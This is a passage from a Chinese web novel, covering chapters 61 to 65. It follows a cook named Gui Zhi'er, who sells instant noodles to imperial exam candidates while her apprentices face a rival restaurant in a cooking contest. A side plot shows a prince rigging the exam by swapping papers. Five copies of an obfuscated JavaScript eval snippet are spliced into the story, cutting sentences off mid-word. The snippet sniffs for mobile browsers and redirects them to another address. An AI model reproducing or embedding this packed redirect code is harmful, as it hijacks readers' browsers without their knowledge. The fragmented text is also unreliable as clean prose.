在这里，仅仅用来盛放卤味样品。 “咕嘟。”书生们咽了口唾沫，深深吸一口气，“打扰了，店里有人吗？” “来啦。”后院传来一个清脆欢快的声音，扎着马尾辫的女孩儿掀开帘子跑过来，她笑容可掬。 “各位客官请坐，小店堂食至少需付白银一两。”桂枝儿新雇佣的店员尽职尽责介绍起来。 菜品随机，份量随机，资费看着给。 吃什么全看老板心情。 “这算怎么回事？”有书生不大能接受，一两银子可不便宜，要是节省些都够买半个月的口粮了。 “对啊，没有菜谱，也不明码标价。”竟然有人敢在长兴坊上开黑店。 扎马尾辫女孩心里有些慌，但还是按照桂枝儿教的，礼貌地端出瓷盘和竹片齿签 “小店有免赀试尝。”她诚恳地说，“大家可以试试。” 抱着半信半疑的态度，书生们轮流尝了一口，紧接着互相对视一眼，默契地从袖中往外掏铜钱。 你一贯，我一贯，好歹是凑足了最低资费。 “本来想留点钱再淘一本《云林石谱》的，奈何这卤味确实香。”书生涨红了脸。 “考前吃顿好的打打牙祭，免得关进去后肚子饿。”有人调侃道。 会试四场历时九天，确实只能自带些干瘪无味的米面糕点。 闲聊间，冷盘小菜已经先上桌了。 先是一小碟新鲜牛肉，将其沿着纹理横切成薄片，用好酒浸泡后，拌以肉酱和香醋而成。 搭配一小壶热黄酒，是从小店右手边的酒坊里打的。 “这水晶脍倒是做得漂亮。”有女书生更中意另一道菜，欣喜地夹起一块。 鲤鱼熬汤冷却形成的鱼冻，味道滑嫩清爽。 “客官请慢用。”上菜的还有一位身形瘦小的少年。 那少年转身进了后院庖厨，继续关照锅里的鸡汤面。 他选用的是鲜嫩的鸡腿肉，经过长时间炖煮，已经酥烂脱骨。 锅内添加了适量的姜片、葱段、枸杞、红枣等调料，不仅去腥增香，还使汤汁更加浓郁滋补。 “可以。”桂枝儿用长勺舀出一点汤，放进碗中抿了一口。她点点头，言简意赅：“下面吧。” 有经验的学徒调教起来就是快。 桂枝儿转头指点小女孩做果茶，从简单的饮品学起。 一般有天赋的人当师傅，往往不太会教，因为无法理解凡人怎会如此蠢钝。 好在桂枝儿经历得多，心平气和。 有灵气的徒弟也好，勤奋听话的孩子也罢，她因材施教，来者不拒。 “鸡汤面来了！”伴随着一声吆喝，主食上场。 金黄色的鸡汤盛在洁白瓷碗中，溏心蛋的蛋黄呈现半流动状态，像是被阳光照耀着的金色琥珀，微微颤动。 书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14033100|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生们闻着味儿便垂涎三尺。 喝一口醇厚的鸡汤，吃几缕劲道的面条，再咬上一口鲜嫩的鸡肉，温暖从舌尖蔓延到胃里，传遍全身。 硬菜一碟连一碟地递上桌子，书生们直呼这一两白银花得值！ 桂枝儿坐在后院屋檐下的摇椅上，悠哉悠哉地翻着账本。 “算上在楚淮赚的钱，小金库越来越充实了。”她心满意足，自觉对得起出资人栾小将军。 与在北境逢五逢十开业的平价店不同，在京城她绝不做赔本赚吆喝的事儿。 价格越昂贵，越有人趋之若鹜。 很快，长兴坊新开了一家——“老板脾气很大，吃什么她说了算”“最低餐费一两银子，没有上限”的神奇小店的新鲜事儿传遍杭京。 桂记卤味店门口，从冷冷清清只有两三个路过的行人，到车水马龙汇聚了不少权贵。 名声彻底打响。 户部侍郎马碌，依旧是桂记卤味店的常客。 他下了朝换上常服就往这里跑，脚蹬一双黑色官靴，发出“噔噔”的声响，红光满面。 每当店里走进一些同僚，他就兴奋地追着桂枝儿问。 “那位那位，宗人府的左宗正大人，就是……”马侍郎眼中燃烧着亢奋的火苗，声音却压得很低。 一副鬼鬼祟祟的模样。 马侍郎认定，桂枝儿是前太子殿下梁樾在杭京安插的钉子。那么桂记卤味店作为据点，招待“自己人”理所当然。 桂枝儿懒得搭理他，正精心雕琢着文思豆腐。 这道菜极为考验刀工，得手稳刀快，将嫩豆腐切成细丝，保证放入水中能散开，不粘连。 “您没穿庖厨的衣裳，不能进来。”她一句话怼走了马碌。 什么左宗正右宗正，来店里的食客确实有很多达官显贵，至于跟前太子殿下的关系，纯粹是马侍郎自己臆想的。 桂枝儿不表态也不否认。 “那么，小娘子是如何及时知道镇北最新资讯的？”马碌隔着纱窗笑得神秘。 仿佛在说我懂，我都明白。 “知府大人时不时会寄信来。”桂枝儿哭笑不得。 好好好，这下真洗不清了。 62. 上门踢馆 桂记卤味店日渐红火。 大堂内两个小学徒忙得脚不沾地，主要负责招徕各种散客。 而在相对僻静的后院包厢，最低消费又翻了几倍，来客皆身价显赫。 喝酒谈天中，无论是市井传闻、商业行情，还是官场动态，都被逐渐透露出来。 桂枝儿也零零碎碎听到很多消息。 近日在朝堂争执不休的问题，当属春汛。 春季暖阳晒得冰雪融化，江南的河流水位上涨，加之春雨连绵，洪水泛滥使沿岸百姓沦为难民。 “此次大汛与康顺年间威力相当，以老夫之见，最要紧的就是开闸放水，先保杭京。” 官员捋了捋自己的山羊胡，夹一筷子卤羊肉细嚼慢咽。 薄羊肉片散发出原汁原味的卤香，拌上黄瓜丝、蒜末、生抽、香油等配料，口感清爽。 “那帮纸上谈兵的谏官，想要青史留名，只坚持修筑河提。”对面中年男子愤而拍桌，“简直愚不可及！” 他咽下一口热酒，摇头叹气。 年纪较大的官员眯着眼，看屋顶漏下来的日光洒在桌椅上，轻微的浮灰在金光中缓缓跌落，沉默不语。 大半生宦海沉浮，让他有一种乐天知命的气质。 康顺年间春汛，在他的坚持下，开闸泄洪淹了清野州城大片农田，不少村落毁于一旦。 但杭京丝毫未受影响，南苑府繁华依旧。 独他一人替圣上背了骂名。 “狗官一句话，俺们家破人亡，简直丧尽天良啊！” “京城人的命是命，俺们清野州就不是人吗？” 村民被冲了屋瓦，淹垮了家，纵使吵得沸反盈天，也很快就为了生计逃难，四散流落到各个州府去了。 年纪较大的官员又夹起一筷子卤羊肉，他吃得很慢，眼神中透露出一种享受和陶醉，仿佛世间再无烦恼。 “老师无需自责。”中年男子真诚说道，“当年若非清野州村民不顾大梁律令，私自顺坡耕种、毁林开荒，被水冲走的土壤就不会淤积在下游河道。” 春汛更不会危及到南苑府。 这是天灾，亦是人祸！ “吾亦有过。”年纪较大的官员摆了摆手。 开闸放水前，已告知州县长官将百姓转移到安全地带，但有的官员惰政懒政，有的百姓安土重迁。 汹涌而来的洪水便无情地将无辜之人吞噬。 但如今，多年过去，他依旧坚持这是最优解。 若按谏官们所说，事到临头才开始修筑河堤，死的人只会更多。 年纪较大的官员闭上了眼。 大梁贪腐已经深入骨髓，拨给修河劳工和灾民的口粮是可以私自截留的，工程费用是可以克扣的，徭役指标是可以用来勒索钱财的。 层层盘剥下来，稻米最后尽剩些空谷壳。 谏官们有济世救民的心，却没有实际理政的经验，只会导致洪水一路肆虐到杭京。 到时候，大梁危矣！ 隔壁做菜的桂枝儿耳聪目明，停下手中拌卤料的搅棍，微微叹息。 她不免联想到花魁柳千金的身世。 大时代的不幸，落到每个人头上，可能就是一生命运的转折。 “小娘子，这些面条已经用热油炸过了，现在还要做什么？”豆芽菜少年打断了桂枝儿的思绪。 经过油炸的面条酥脆金黄，波浪形的纹路甚为奇特。 “做方便面。”桂枝儿回过神来。 “什么是方便面？”两个学徒异口同声问道。 桂枝儿自信地笑了，方便面可以是红烧牛肉面、老坛酸菜面、香菇炖鸡面，也可以是海鲜拉面、泡菜辛拉面。 只要注入热水，唤醒香料包与蔬菜包，便是随时可以享受的便捷美味。 在生活节奏较慢的年代，保鲜技术匮乏，“预制菜”理念尚未普及。 但桂枝儿做方便面，另有妙用。 “春闱光头两场帖经、策论考试，就要在贡院内一连待足三日。”桂枝儿解释道，“号舍条件又差，也只得在吃食上用点心思了。” 此言非虚。 贡院的号舍狭窄逼仄，每间只有三、四尺宽度，密密麻麻紧凑地排列在一起，如同蜂巢一般。 考生在内勉强容身，木板既是书桌又是床铺，泥灰遍地、尘埃漫天，甚至还会有些小爬虫。 “寻常考生自带干粮，把馒头烙饼掰碎伴着热水下咽，要么就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14050110|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是吃咸菜腊肉。” “我打听了，每排号舍的巷尾，都有火炉可以自行生火做饭。”桂枝儿补充道，“但考试毕竟时间紧、任务重。” 因此，多数考生只能将就着填饱肚子。 两位学徒听得懵懵懂懂，但也大概明白了，小娘子是想做出一款能在短时间内用热水泡熟的美味面食。 高汤熬至浓白色，在滚沸的汤中捞出牛肉沥干烘烤。 桂枝儿素手翻飞，从调料罐中依次提取盐、五香粉、辣椒粉等，混合均匀。 “熬猪油可以转小火了。”桂枝儿时刻关注着庖厨动态。 她接手用锅铲持续翻动，防止猪油块粘在锅底，这是制作酱包必不可缺的灵魂。 眼看桂枝儿忙活起来，两个小学徒很自觉地跑前跑后，为大堂和包厢上菜。 马尾辫女孩笑容灵动，与客官沟通愈发落落大方。少年也万分珍惜来之不易的短工机会，脏活儿累活儿抢着干。 “呦呵，这不是狗剩吗！”尖锐声带着无尽的得意与傲慢，“怎么跑到这里要饭吃了？” 少年一抬头，顿时僵住。 在店门口探头探脑的，正是翠园楼的同工帮厨。他身上刚好不久的伤隐隐作痛，神情瑟缩起来。 “二位客官……”马尾辫女孩话还没说完就被打断。 “我们是翠园楼的人。”来者不善，连小店的前门都并未踏入一步，只不屑地撇下一句话—— “让你们掌柜的出来接战书！” 敢收留被翠园楼赶出门的人，简直是赤裸裸的挑衅。 在京城开店，没点看家的真本事何以立足？ 桂记卤味店大火，截了不少专为权贵服务的酒楼财路。其中翠园楼缺少当家大师傅，生意日渐惨淡，因此尤为眼红。 “要比，就不能只局限于卤味。”踢馆人又高高在上地嘲讽了一句，“小娘子敢不敢？” “知道了。”桂枝儿嘴角上扬，露出一排洁白整齐的贝齿。 她眼眸犹如盈盈秋水，口气风轻云淡，似乎对来者的故意寻衅毫不在意。 心中却是好笑：该不会都以为卤味店只能做卤味吧？ 真不巧，桂小娘子八大菜系样样精通！ 63. 泡方便面 但凡民间大比，前期总要筹备一番。 邀请名厨、老饕、权贵坐镇当裁判，张贴告示搭建场地，一番预热造声势。 这些一律不用桂枝儿操心。 求胜心切的翠园楼上下打点，连金线编织的丝绸邀请函，都让绣庄连夜赶工，生怕桂枝儿反悔。 “全怪我，小娘子把我辞退，他们就不会为难您了……” 豆芽菜般的少年抽噎着，牙齿在下唇咬出一道苍白的痕迹，眼眶泛红。 “真金不怕火炼嘛，谁输谁赢还不一定呢。”桂枝儿拍拍他的脑袋，笑道。 兵来将挡，水来土掩。 根据以往的经验，这种大比恰好是刷系统任务进度的好时机。 正式开赛之前，会试先行开考。 承朔四年的春闱，由德高望重的内阁大学士卢翰文主持。为防科场舞弊，考官进入贡院后全程锁闭，阅卷结束后方可离开。 寅时天色刚蒙蒙亮，入场搜身已经开始。 “尔等褪去衣物、鞋袜，考篮中的文具、干粮等物须一一陈列，不得夹带。” 考前检查相当严苛，监门官带领轮值军士一丝不苟地执行命令，维护考场纪律。 为防作弊，考生们连衣褂袍裤都只能穿单层。春风微冷，但学子们既紧张又激动，心头火热。 十载寒窗苦读，等的就是这一刻。 北境考生王蒲手中紧握竹杖，身体微微倾斜，跛足坚定地跟随队列挪动着。 砚台不能太厚，笔管必须镂空。 若是被搜出夹带，轻则逐出考场，重则论罪下狱。 女考生们则有单独的检查通道和考院，由朝廷女官们负责搜身监督，规矩同样严厉。 晨光微露，全体考生入场后开始点名，各自依号入闱。 “封号栅！”伴随着监门官一声令下，三天后交卷时贡院才会开锁。 几千名举子盘踞在设施简陋的号舍里，顾不上处理墙角的蜘蛛网，他们迅速安置好自己的笔墨和干粮。 “呼。”深呼吸，决定命运的考试正式开始。 考场气氛逐渐压抑，有考生手心额头满是汗珠，不敢脏污试卷只得匆忙擦拭。 久坐之下，身体酸痛，亦不敢轻易挪动，生怕影响思路或引发监考官员的特别关照。 难题接踵而至，考生们绞尽脑汁，思绪却逐渐钻进死胡同。 不知不觉，已到午时。 “咕噜。”腹中饥饿感袭来，大部分考生拿起自带的干粮。 虽在这种氛围里难有胃口，但为了保持体力，也得勉强吃几口。再去号舍的巷尾打点热水，简单润润嗓子。 又不敢多喝，毕竟去尿骚味重的隔断上厕所是一种折磨。 环境恶劣，可见一斑。 扬安学子李觅晃了晃自己陷入泥沼的脑子，决定休息一刻。他取出自己在桂记卤味店买的方便面，向巷尾走去。 热水冲泡，油炸后色泽金黄的面饼膨胀起来。 碗中升腾起一大团白色雾气，浓郁的红烧牛肉酱料包融化开，香味弥漫在空气中，诱人垂涎欲滴。 “好香好香好香，这赶考套餐买得值！” 他不敢出声，在心里疯狂鼓掌，嘴角上翘。一上午的艰辛都被抚慰了。 想到接下来，还可以尝到什么老坛酸菜、香菇炖鸡，他顿时觉得三天并不难熬。 脱水蔬菜渐次苏醒，橙色的胡萝卜丁小巧玲珑，翠绿的青菜舒展身姿。 号舍里的一道道眼神，汇聚到李觅身上。 “又是天字号里坐的富家少爷吧，差生吃得香。”有考生在心里嘀咕，咽了口唾沫。 “什么时候了，还有心思满足口腹之欲，也不怕试卷答不完。”离得远的考生看不见李觅的行为。 只当他费时费力，在亲自做饭。 李觅筷子一搅就把面条吸入口中，迅速嚼咽。 再喝上一口汤，鲜美清香，温热的红烧牛肉汁顺着喉咙流到胃里，温暖了整个身躯，让他露出心满意足的惬意神情。 很快，北境的其他考生，也相继走到各自号舍的巷尾。接热水、泡方便面，一气呵成。 雾气氤氲，劲道的面条佐以配料。 饱满圆润的玉米肠经过加热后，在口中爆开，咸甜适中。 “怎么回事，为什么大家都吃这么好。”其余考生抓心挠肺。 他们眼睛盯着卷子上的之乎者也，嘴里嚼着碎馒头，鼻子却忍不住猛吸一口气。 即使坐在“天字号”里，颇受优待的富家子，也被这等香味勾引，觉得自己手中的糕点、果脯不那么可口了。 其中一位身着华丽锦袍的纨绔子弟，更是嫌弃地吐出口中参片。 “老头子抠门，一定没递够银子，凭什么别人都有上好的餐食。”他心中愤愤不平。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14091361|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 此人正是被北境学子套麻袋暴揍时，高呼“吾父乃大理寺正”的富家子。 他平日不学无术惯了，如今握着毛笔发愣。右侧脸颊高高肿起，一片淤青格外刺眼。 肿胀的脸颊让他本就小的眼睛，被迫眯成一条缝。 在鸽子笼一般的号舍里，统共要待满五天。 “切，一帮陪跑的废物，有你们哭的时候。” 若不是父亲大人再三允诺，已经打通关系，保证他的试卷会有个好成绩，他才不愿受这番罪。 与此同时，京城亲王府中。 穿过丛林掩映的雕梁画栋，后花园假山怪石错落有致，有的形似猛虎出山，有的宛如蛟龙得水。 楚淮有名的黄石、青黑石，在这里微不足道。 专供皇室的奇楠沉香木被制成摇椅，年过半百的亲王身姿后仰，半眯着眼睛，神态悠然。 “爵爷，属下已经确认过了，那些替死鬼都进了考场。” 一位身形高瘦如竹竿的男子，正在低眉顺眼禀告。他鼻若鹰钩，嘴唇微薄。 “完全按您吩咐，没碰世家贵族学子，专挑那些没背景没名气又勤奋肯学的举子。” 科考作弊是杀头的重罪。 但爵爷不一样，皇帝再生气也会网开一面。所以这门生意，只能由他们亲王府来做。 方法也很简单。 在每场考试结束封卷子后，有专门的誊录人员，会按照原卷内容，逐字逐句进行抄录。 这是为了避免有考生通过特殊字迹或是符号，向阅卷考官传递信息。 但这恰好提供了一个漏洞。 “弥封所和对读所的人，都打点好。”爵爷语调祥和，靠在上等的丝绸缝制的柔软靠垫上摇晃。 将卷子偷梁换柱，全靠这两处。 趁着誊录的机会，调换优等生与富家子的试卷姓名。 虽然操作上复杂些，但总比买通那些蒸不烂、煮不熟，自诩铁骨铮铮的臭文人要容易。 前期，鹰钩鼻男子通过楚淮春日宴等大小文社集会，瞄准了“替死鬼”人选。 尤其是北境王蒲，已经不是第一次被换卷子了。 “小心为上，前几日买家们集体来府上讨说法，说是孩子被打了总觉得不安心。”爵爷面容和蔼，仿佛尊贵从容的弥勒佛，“或许有人在捣鬼。” “总感觉，山雨欲来风满楼啊……” 64. 厨艺大比 三日后，贡院开锁。 以往考生们经过三日蹉跎，头发凌乱、衣衫褶皱，均迈着沉重的步伐，只想抓紧回旅舍修养。 有那身体素质差的，甚至会口吐鲜血。 “终于结束了。”一位考生揉着自己的太阳穴，嘴里喃喃自语，疲惫的面色中透着一丝解脱。 连日折磨让他精神不济，身上还散发着一股酸馊味，但他仍强撑着扯住旁人衣袖。 “兄台莫走！”他情绪激动，眼含期待。 “吾绩甚劣，就不校对答案了。”被他一把拉住的扬安学子李觅，果断摇摇头。 虽然第一场的不少题目李觅都得心应手，但他深知需要藏拙的道理。 “非也非也。”考生形容枯槁，深陷的眼窝周边是一圈黑色。他死死地抓住李觅不放，双唇抖动，身躯颤栗。 “敢问兄台这几日携带的是什么吃食？其香远逸，嗅之甚馨。”考生深吸一口气，眼神如饿虎扑食。 原来是想打听这个！ 李觅哑然失笑。 北境学子接二连三被拦住，所有回答都指向了一处——长兴坊，桂记卤味店。 “多谢兄台告知！”成群结队的考生向一致的方向奔去。 他们恨不得到店里吃个风卷残云，把这三日被勾起来的馋虫尽数消灭。 夕阳西沉，长兴坊集市的屋顶上，瓦砾闪烁着橘红色的粼粼波光，像是古老神兽身上的鳞片。 小贩们已经开始收拢摊位。 精巧的小玩意儿被逐个收进布袋，霞光映照在九连环、竹蜻蜓和泥人上。 “科考头场结束了？”泥人张诧异地问道，“这些孩子们怎么跟疯了似的，不回旅馆休息吗。” “难道他们也想去看翠园楼的厨艺大比？” 做糖人的老爷子背着双手，慢悠悠地踱步，京城很久没这么热闹了。 集市中央，早就搭起了一座高台。 炉灶正烧得火热，膛壁被烟火熏烤得热气腾腾。厚重的铁锅、精致的铜锅、竹篾蒸笼等一应俱全。 台上华盖高悬，五彩绸缎交织四散，台下围聚者老幼咸集，人头攒动。 有垂髫小儿骑在父亲肩上，目不转睛向台上看去。 空气中弥漫着兴奋与焦灼的气息。 “厨艺大比三局两胜，第一关翠园楼就拿出了看家招牌——鲥鱼面！”有那消息灵通的包打听，唯恐天下不乱。 “这还比什么？”他大手一挥，语调极具煽动性。 “谁人不知，南林盛产的鲥鱼，从湖里捞起来送到京城，二百公里路当日送达！” “嚯！”围观群众很给面子地惊呼一声，更加好奇地踮起脚尖。 这可是皇亲国戚才配享用的高档美食。 翠园楼仅此一招就能杀死比赛！ 台上，翠园楼的继任大厨师人选之一，已将鲥鱼清理干净。 只见他手起刀落，用薄如蝉翼的刀片去除鱼皮和鱼骨，将鱼肉剁成泥。 他向其中加入葱姜、水淀粉和蛋清，随着手臂有节奏的摆动，鱼泥在盆中翻滚涌动。 松散的鱼肉逐渐变得紧实。 旋转、交融，仿佛在跟随鼓点舞动。 鲥鱼面，便是鲜中之鲜，最顶级的河海盛宴。 翠园楼对自己的对手并非一无所知，他们探查到桂枝儿来自北境，方才出此难题。 北境是内陆，没有海，如何会做海鲜？ 更何况，能在一天之内送来南林鲥鱼，为的就是彰显大酒楼背后的势力与财力。 “那小姑娘啊，顶多做些臭鱼烂虾充数。”看戏者嗑着葵花籽摇摇头，十分不看好桂枝儿。 “此言差矣，您是没吃过桂小娘子做的鲜虾鱼板面。”刚从考场中解脱的北境考生出言反驳。 “啊？”围观群众看着眼前突然冒出来的学子们，莫名其妙。 鲜虾鱼板面又是个什么玩意？ 这群书生面容憔悴，有的甚至跑丢了布鞋，但仍吵嚷着要找桂小娘子买所谓的“方便面”。 “小娘子在台上比试吗？”各地书生们努力伸长了脖子。 “你说桂记卤味店那老板啊？”消息灵通的包打听笑道，“她胆小避战喽，只派了两个毛都没长齐的小徒弟。” 闻言，众人更是眼睛瞪得像铜铃，向高台看去，生怕错过一丝一毫的精彩。 两位小学徒代表卤味店，制作的乃是五谷鱼粉。 糙米留存了稻谷胚芽，小麦能增加韧性，黑米颜色独特，糯米具有黏性…… “呼。”豆芽菜少年将炒制香脆的五谷放入石磨中。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14220914|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他用瘦小的臂膀使劲推动磨棍，谷物逐渐被研磨成粉，从磨盘边缘流出。 少年额头已布满细密的汗珠。 “要加把劲呀。”马尾辫女孩第一次登上这么大的舞台，心中暗自打气。 她将少年磨好的五谷粉过筛，边加水，边用筷子搅拌。 直到形成几个湿润的面团。 不同面粉具有不同的吸水性和口感。 因此在做面条时，需要适当调整清水的用量和面团揉捏力度。 “小娘子怎么还不过来啊？”豆芽菜少年紧张到手指不自觉握紧，指节因用力而泛白。 他嘴唇微抿，明亮双眸像迷失在大雾中，无意间扫视到曾经欺辱过他的同工帮厨，又赶紧慌乱挪开。 “废物！”帮厨轻蔑地冲他摆了个口型。 与翠园楼的继任大厨相比，桂记卤味店的两个学徒，确实显得动作笨拙。 选用食材更是中规中矩，毫不出彩。 没人看好他们。 除了不知被下了什么迷魂药的科考举子们，舌战群儒，力证自己这三天闻到的美食有多香。 翠园楼大厨沉稳地走到灶台前，向锅内倾倒山泉冷水，水珠在锅壁上溅出细小水花。 他将鱼泥置于纱布中央，神情专注。 双手提起纱布四角，慢慢收拢，鱼泥在纱布的包裹下，被挤压成面条状的软泥。 “不愧为酒楼的招牌菜，这古法制面是门手艺活儿。”裁席上的黄发老者拄杖而立，微微点头评判道。 老人面露怀念，想起已故去的翠园楼大师傅，不免惋惜叹气。 诸位裁判负责察其色、嗅其香、品其味，以定优劣。 除此之外，群众选票亦有占比。 赛程进行到一半，桂枝儿千呼万唤始出来。 但见女子身着一袭素色襦裙，手握车把，轻移莲步。车轱辘缓缓转动，行于青石板路上。 “卖方便面喽。”她一声吆喝悠长，婉转清扬。 桂枝儿不急不缓地走向人群，木板车上是紧急赶制的不同口味方便面，专供会试考生。 裙角低垂摆动，走起路来，似有清风相随，女子眼波流转间尽显聪慧灵韵。 既携带市井特有的烟火气，又染上几分慵懒与惬意。 65. 五谷鱼粉 刹那间，人潮如涌。 一长衫书生身手敏捷，率先从怀里摸出银票，口中急呼道：“老板有方便面是吧？且卖与我！” 他目光灼灼，紧盯木板车上的货物。 “吾已等候多时，兄台不可夺爱。”另一举子不甘示弱，面红耳赤，生怕自己抢不到。 两人看似温文尔雅，此刻竟也拉扯起来。 “大家依序而列，不要乱插队。”桂枝儿声音清脆，面带微笑。 她将摊位布置得井井有条。 传统的老坛酸菜风味面，让人舌尖生津，广受好评的鲜虾鱼板面，将虾的鲜甜、蟹的清润完美交融，浓稠的番茄牛腩面更是酸甜可口。 除此之外，桂枝儿还推出了两个新品速食。 速溶咖啡——提神醒脑必备。 冲泡藕粉——口感细腻、润滑，足以饱腹。 “怎么还限量购买啊，快派人告诉小公子，咱们没法包圆儿。”有那纨绔子弟的仆从排不上队，急得直跺脚。 把货物全部买走的命令无法落实了。 “两份酸辣粉面，两包咖啡您拿好。”桂枝儿点钱十分麻利。 普通书生仅试探着买了些方便面，而北境学子早就见识过桂枝儿的厨艺，虽然从没听说过什么“咖啡”一物，但也毫不吝啬地拿下。 台上的翠园楼大厨沉不住气，额上青筋微凸。 他将白萝卜丝放入锅中焯烫，鱼骨汤已炖至浓稠，眼下加入葱姜蒜调味后，鲥鱼面即将出锅。 可这风头全被桂枝儿抢了！ “岂有此理！”德高望重的黄发老者作为裁判，也甚是不满，“厨艺大比不是儿戏。” 见此，翠园楼主事者目露精光，嘴角泛起一抹阴鸷的笑容。 “派学徒出战也就罢了。”他煽风点火道，“现在还联合书生们搅局，趁机牟利。” 压力传递到台上，卤味店的两个学徒恰似雨中的雏鸟，委屈巴巴。 豆芽菜少年眼眶泛红，泪水在其中打转。 见识到对面帮厨无声的辱骂，他只能自力更生。 刮刀接触黑鱼鱼身，传来“沙沙”声响，是鳞片在与刀刃摩擦，开膛破肚后，取出肠和鳃，清洗干净。 少年抓住鱼身，用刀从尾部向头部撇开。 曾经在翠园楼，浮躁者只想学怎么做鲥鱼。 可大部分鱼类的处理方式，都是基本功。在给大师傅打下手时多学多看，即可触类旁通。 并没有什么独特的技巧。 豆芽菜少年无他，唯手熟尔。 他把黑鱼的脊梁骨摘取出来，再用手摸一下，剔除坚硬鱼刺。 备菜程序马虎不得。 “做个菜这么慢，干脆从种稻子开始好了！”人群中，有翠园楼请来的托儿，起哄嘲笑道。 毕竟对面的鲥鱼面已经端盘上桌了。 汤汁乳白，色泽宛如凝脂，热气腾腾。 裁判席的老饕轻轻一咬，鱼肉便如丝般化开，鲜嫩的口感瞬间捕获了味蕾。 “还不错，也算有大师傅的七八分功底了。”老饕矜持地点点头。 丰腴的鱼油融化为汤，作为名厨代表的黄发老者抿了一口，不置可否。 “鲥鱼珍贵，如此新鲜甚为难得，遑论做法精妙、色香俱全。”翠园楼背后站台的权贵总结陈述道。 几乎是胜算已定。 虽说评分中，百姓喜爱度还占一定比重，但翠园楼早已用银票买通“卧底”排队品尝。 二百公里路急送来的鲥鱼价格高昂，为数不多的人能分到半根面条和一口汤就不错了。 “好吃好吃！”托儿还没琢磨出滋味就连连称赞。 此时，卤味店的两位学徒总算完工。 “丑媳妇也要见公婆，还是快些呈上来吧。”翠园楼主事者撇了撇嘴，“胜负即可分晓。” 早知道对手如此不堪一击，哪用得着什么三局两胜。 五谷鱼粉也算是道创新菜。 初观之，色泽各异的米粉在碗中根根分明，糯米洁白如玉，黑米朦胧缥缈，均散发着淡淡的米香。 在夕阳映照下，宛如一幅五彩画卷。 嗅之，浓郁的鱼香扑鼻，带着江河湖海的气息。 鱼头静卧其上，煎制后的鱼块金黄，引诱着人们去探寻它的美 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14250294|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妙滋味。 裁判席众人将米粉送入口中，轻轻咀嚼数下。 “滑嫩爽口，汤汁包裹咸鲜适中，也很有嚼劲。”老饕微微后仰，口中发出满足的喟叹。 黄发老者则眉头微皱，似在努力捕捉那稍纵即逝的滋味，嘴唇微微蠕动。 鱼汤主调是醇厚的，而五谷杂粮的香气则如林中晨雾。 淡淡的却萦绕不散，与鱼香交织缠绵。 “凡在我这里买方便面的，都可以免费品尝五谷鱼粉。”桂枝儿只说了这一句话。 女子笑意盈盈，胸有成竹。 “哗啦。”庞大的书生群体闻言又纷纷挤到台下排队。 五谷鱼粉所用原料为常见杂粮，黑鱼则是生活在水草繁茂区域的淡水鱼，总体成本不高。 两位小学徒虽然做得慢，但他们做得多啊！ 他们按照桂枝儿之前的吩咐，用心备菜，如今盛出一碗碗鱼粉，给举子们免资发放。 “小兄弟劳烦给我多打几勺！”刚结束头场考试的举子们身形狼狈，仿佛刚被从大牢里放出来。 尝到鱼粉的一刹那，更是忍不住狼吞虎咽。 太好吃了，太香了！ 他们眼中闪烁起惊喜的光芒，不禁眉飞色舞，比起贡院里自带的干粮，这米粉就是天赐的珍馐。 一碗热汤，唇齿留香。 “乱哄哄的，这是厨子大比还是来摆摊？”翠园楼主事者眼见形势不妙，神色有些紧张，“太不像话了！” 他买通的托儿都被淹没在庞大人群中了。 阴谋，这一定是那个小娘子的阴谋！ 